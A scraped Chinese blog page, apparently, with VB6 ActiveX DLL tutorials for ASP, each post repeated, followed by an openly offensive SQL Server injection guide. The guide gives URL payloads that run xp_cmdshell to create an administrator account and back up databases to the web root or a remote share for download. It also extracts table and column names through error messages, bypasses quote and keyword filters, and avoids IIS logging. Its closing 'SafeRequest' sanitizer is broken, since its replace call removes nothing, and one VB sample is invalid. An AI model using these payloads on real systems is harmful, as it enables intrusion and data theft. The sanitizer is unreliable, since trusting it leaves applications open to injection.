Jun
30
数组问题
数组在程序中使用的很多，而且比较容易出问题
我们通过小例子来看看
打开vb6,新建Activex Dll工程。工程名修改为fCom,类名修改为fC4
点击菜单->工具->添加过程
我们在名称内输入AcceptArray1,类型选择子程序，范围选择公有，然后确定
再次操作:在名称内输入AcceptArray2,类型选择函数，范围选择公有，然后确定即可
‘功能:传递数组地址到组件，使用ByRef关键字,并赋值返回
Public Sub AcceptArray1(ByRef varray As Variant) As Variant
varray(0) = "龙卷风"
varray(1) = "20"
End Sub
‘功能:返回一个字符串数组
Public Function AcceptArray2() As Variant
Dim a(2) as Variant
a(0) = "龙卷风"
a(1) = "20"
AcceptArray2=a
End Function
Ok,一个组件就写好了，点击菜单->文件->生成fCom.dll文件
确定，在目录下就会有fCom.dll文件
测试
打开visual interdev6.0,生成一个asp文件
<%@ Language=VBScript %>
<HTML>
<BODY>
<%
dim obj
set obj = server.createobject("fCom.fC4")
dim a(2)
'测试第一个组件方法
obj.AcceptArray1(a)
response.write a(0)
response.write "<br>"
response.write a(1)
response.write "<br>"
'测试第二个组件方法
dim b
b=obj.AcceptArray2()
for i=0 to ubound(b)
Response.Write b(i)
response.write "<br>"
next
%>
</BODY>
</HTML>
配置好虚拟目录，在ie中执行此asp文件，得到结果如下:
龙卷风
20
龙卷风
20
总结一下：
字符串，数字通过值传递或者作为返回值被返回
如果使用引用传递，将参数的类型设为Variant。这样做可以避免一些错误。不过尽可能的减少引用传递参数
未完待续
数组在程序中使用的很多，而且比较容易出问题
我们通过小例子来看看
打开vb6,新建Activex Dll工程。工程名修改为fCom,类名修改为fC4
点击菜单->工具->添加过程
我们在名称内输入AcceptArray1,类型选择子程序，范围选择公有，然后确定
再次操作:在名称内输入AcceptArray2,类型选择函数，范围选择公有，然后确定即可
‘功能:传递数组地址到组件，使用ByRef关键字,并赋值返回
Public Sub AcceptArray1(ByRef varray As Variant) As Variant
varray(0) = "龙卷风"
varray(1) = "20"
End Sub
‘功能:返回一个字符串数组
Public Function AcceptArray2() As Variant
Dim a(2) as Variant
a(0) = "龙卷风"
a(1) = "20"
AcceptArray2=a
End Function
Ok,一个组件就写好了，点击菜单->文件->生成fCom.dll文件
确定，在目录下就会有fCom.dll文件
测试
打开visual interdev6.0,生成一个asp文件
<%@ Language=VBScript %>
<HTML>
<BODY>
<%
dim obj
set obj = server.createobject("fCom.fC4")
dim a(2)
'测试第一个组件方法
obj.AcceptArray1(a)
response.write a(0)
response.write "<br>"
response.write a(1)
response.write "<br>"
'测试第二个组件方法
dim b
b=obj.AcceptArray2()
for i=0 to ubound(b)
Response.Write b(i)
response.write "<br>"
next
%>
</BODY>
</HTML>
配置好虚拟目录，在ie中执行此asp文件，得到结果如下:
龙卷风
20
龙卷风
20
总结一下：
字符串，数字通过值传递或者作为返回值被返回
如果使用引用传递，将参数的类型设为Variant。这样做可以避免一些错误。不过尽可能的减少引用传递参数
未完待续
Jun
30
如何使用属性
打开vb6,新建Activex Dll工程。工程名修改为fCom,类名修改为fC2
点击菜单->工具->添加过程
我们在名称内输入myName,类型选择属性，范围选择公有，然后确定
再次操作:在名称内输入Age,类型选择属性，范围选择公有，然后确定
再次操作:在名称内输入peopleInfo,类型选择函数，范围选择公有，然后确定即可
代码如下:
Option Explicit
'保持属性值的局部变量,只能在类中使用
Private mvarmyName As String
Private mvarAge As Integer
‘Let写属性(Let属性: 该过程给一个属性赋值。)
Public Property Let Age(ByVal vData As Integer)
mvarAge = vData
End Property
‘Get读属性(该过程获取一个属性的值。)
Public Property Get Age() As Integer
Age = mvarAge
End Property
Public Property Let myName(ByVal vData As String)
mvarmyName = vData
End Property
Public Property Get myName() As String
myName = mvarmyName
End Property
Public Function peopleInfo() As String
peopleInfo = "姓名: " & mvarmyName & " 年龄:" & mvarAge
End Function
Ok,一个简单的组件就写好了，点击菜单->文件->生成fCom.dll文件
确定，在目录下就会有fCom.dll文件
测试
打开visual interdev6.0,生成一个asp文件，为什么要使用interdev,因为它有代码提示功能，与vb的ide环境一致，方便书写
<%@ Language=VBScript %>
<HTML>
<BODY>
<%
set obj=server.CreateObject("fCom.fC2")
dim c
'这里调用的是组件的Let属性
obj.myName ="龙卷风"
obj.Age =20
c=obj.peopleInfo()
Response.Write c
'这里调用的是组件的Get属性
Response.Write "<br>"
Response.Write obj.myName
Response.Write "<br>"
Response.Write obj.Age
%>
</BODY>
</HTML>
配置好虚拟目录，在ie中执行此asp文件，得到结果如下:
姓名: 龙卷风 年龄:20
龙卷风
20
未完待续
打开vb6,新建Activex Dll工程。工程名修改为fCom,类名修改为fC2
点击菜单->工具->添加过程
我们在名称内输入myName,类型选择属性，范围选择公有，然后确定
再次操作:在名称内输入Age,类型选择属性，范围选择公有，然后确定
再次操作:在名称内输入peopleInfo,类型选择函数，范围选择公有，然后确定即可
代码如下:
Option Explicit
'保持属性值的局部变量,只能在类中使用
Private mvarmyName As String
Private mvarAge As Integer
‘Let写属性(Let属性: 该过程给一个属性赋值。)
Public Property Let Age(ByVal vData As Integer)
mvarAge = vData
End Property
‘Get读属性(该过程获取一个属性的值。)
Public Property Get Age() As Integer
Age = mvarAge
End Property
Public Property Let myName(ByVal vData As String)
mvarmyName = vData
End Property
Public Property Get myName() As String
myName = mvarmyName
End Property
Public Function peopleInfo() As String
peopleInfo = "姓名: " & mvarmyName & " 年龄:" & mvarAge
End Function
Ok,一个简单的组件就写好了，点击菜单->文件->生成fCom.dll文件
确定，在目录下就会有fCom.dll文件
测试
打开visual interdev6.0,生成一个asp文件，为什么要使用interdev,因为它有代码提示功能，与vb的ide环境一致，方便书写
<%@ Language=VBScript %>
<HTML>
<BODY>
<%
set obj=server.CreateObject("fCom.fC2")
dim c
'这里调用的是组件的Let属性
obj.myName ="龙卷风"
obj.Age =20
c=obj.peopleInfo()
Response.Write c
'这里调用的是组件的Get属性
Response.Write "<br>"
Response.Write obj.myName
Response.Write "<br>"
Response.Write obj.Age
%>
</BODY>
</HTML>
配置好虚拟目录，在ie中执行此asp文件，得到结果如下:
姓名: 龙卷风 年龄:20
龙卷风
20
未完待续
Jun
30
如何注册组件
1．regsvr32 组件的绝对路径
如:regsvr32 c:\test\fc1.dll
因为组件只要注册就可以使用了，所以与组件的位置无关。
2．在COM+组件管理器中注册。
什么时候需要这种注册：组件在使用了COM+的服务后需要注册后才能正常的执行。如果该组件仅仅regsvr32注册，仍然无法使用
如何使用组件
set obj=server.createobject(“工程名.类名”)
然后调用其方法属性
如何卸载组件
1．regsvr32 组件的绝对路径
如:regsvr32 c:\test\fc1.dll /u
u参数反注册组件
2．COM+组件管理器中删除组件即可
1．regsvr32 组件的绝对路径
如:regsvr32 c:\test\fc1.dll
因为组件只要注册就可以使用了，所以与组件的位置无关。
2．在COM+组件管理器中注册。
什么时候需要这种注册：组件在使用了COM+的服务后需要注册后才能正常的执行。如果该组件仅仅regsvr32注册，仍然无法使用
如何使用组件
set obj=server.createobject(“工程名.类名”)
然后调用其方法属性
如何卸载组件
1．regsvr32 组件的绝对路径
如:regsvr32 c:\test\fc1.dll /u
u参数反注册组件
2．COM+组件管理器中删除组件即可
Jun
30
一直以来，想写一些组件方面的应用，这段时间终于可以写一点自己喜欢的东西。
希望大家通过这些教程学习后，可以随心所欲的写出自己的组件。
每篇文章可能没有关联，只是写一些组件编写过程中出现的问题。
欢迎大家批评指正
环境:winxp+vb6+sp6+visual interdev6.0
作为第一篇，我们先来写一个比较简单的组件
完成的功能是:输入两个数相加，返回相加的结果
打开vb6,新建Activex Dll工程。工程名修改为fCom,类名修改为fC1
点击菜单->工具->添加过程
我们在名称内输入Add,类型选择函数，范围选择公有，然后确定即可
生成如下代码，我们继续完善
Option Explicit
Public Function Add(ByVal a As Long, ByVal b As Long) As Long
Add = a + b
End Function
Ok,一个简单的组件就写好了，点击菜单->文件->生成fCom.dll文件
确定，在目录下就会有fCom.dll文件
测试
打开visual interdev6.0,生成一个asp文件，为什么要使用interdev,因为它有代码提示功能，与vb的ide环境一致，方便书写
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<BODY>
<%
set obj=server.CreateObject("fCom.fC1")
‘下面这句注意了，因为函数有返回值的，不能按下面的方法写，否则ie中会报错
‘obj.Add(3,4)
‘错误类型：
’Microsoft VBScript 编译器错误 (0x800A0414)
’调用子程序时不能使用括号
’/xml/fc1.asp, line 9, column 12
’obj.Add(3,4)
‘下面是正确写法
dim c
c=obj.Add(3,4)
Response.Write c
%>
</BODY>
</HTML>
配置好虚拟目录，在ie中执行此asp文件，得到结果7
第一篇结束了，祝大家学习愉快
希望大家通过这些教程学习后，可以随心所欲的写出自己的组件。
每篇文章可能没有关联，只是写一些组件编写过程中出现的问题。
欢迎大家批评指正
环境:winxp+vb6+sp6+visual interdev6.0
作为第一篇，我们先来写一个比较简单的组件
完成的功能是:输入两个数相加，返回相加的结果
打开vb6,新建Activex Dll工程。工程名修改为fCom,类名修改为fC1
点击菜单->工具->添加过程
我们在名称内输入Add,类型选择函数，范围选择公有，然后确定即可
生成如下代码，我们继续完善
Option Explicit
Public Function Add(ByVal a As Long, ByVal b As Long) As Long
Add = a + b
End Function
Ok,一个简单的组件就写好了，点击菜单->文件->生成fCom.dll文件
确定，在目录下就会有fCom.dll文件
测试
打开visual interdev6.0,生成一个asp文件，为什么要使用interdev,因为它有代码提示功能，与vb的ide环境一致，方便书写
<%@ Language=VBScript %>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0">
</HEAD>
<BODY>
<%
set obj=server.CreateObject("fCom.fC1")
‘下面这句注意了，因为函数有返回值的，不能按下面的方法写，否则ie中会报错
‘obj.Add(3,4)
‘错误类型：
’Microsoft VBScript 编译器错误 (0x800A0414)
’调用子程序时不能使用括号
’/xml/fc1.asp, line 9, column 12
’obj.Add(3,4)
‘下面是正确写法
dim c
c=obj.Add(3,4)
Response.Write c
%>
</BODY>
</HTML>
配置好虚拟目录，在ie中执行此asp文件，得到结果7
第一篇结束了，祝大家学习愉快
Jun
30
看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。
第一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。
③http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。
④http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。
⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。
⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：
简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用select这样尝试一下。
2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。
3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。
4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。
5.猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。
SQL注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：
Function SafeRequest(ParaName,ParaType)
--- 传入参数 ---
ParaName:参数名称-字符型
ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"","")
End if
SafeRequest=ParaValue
End function
第一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。
③http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。
④http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。
⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。
⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。
第二节、绕过程序限制继续注入
在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。
在“SQL注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：
简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。
第三节、经验小结
1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用select这样尝试一下。
2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。
3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。
4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。
5.猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。
SQL注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：
Function SafeRequest(ParaName,ParaType)
--- 传入参数 ---
ParaName:参数名称-字符型
ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"","")
End if
SafeRequest=ParaValue
End function
